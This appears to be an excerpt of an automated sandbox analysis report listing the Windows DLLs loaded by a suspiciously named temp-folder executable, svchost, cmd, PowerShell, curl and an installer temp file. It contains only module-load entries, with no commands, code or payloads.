Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: msftedit.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: windows.globalization.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: bcp47mrm.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: globinputhost.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: windows.ui.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: windowmanagementapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Section loaded: inputhost.dll
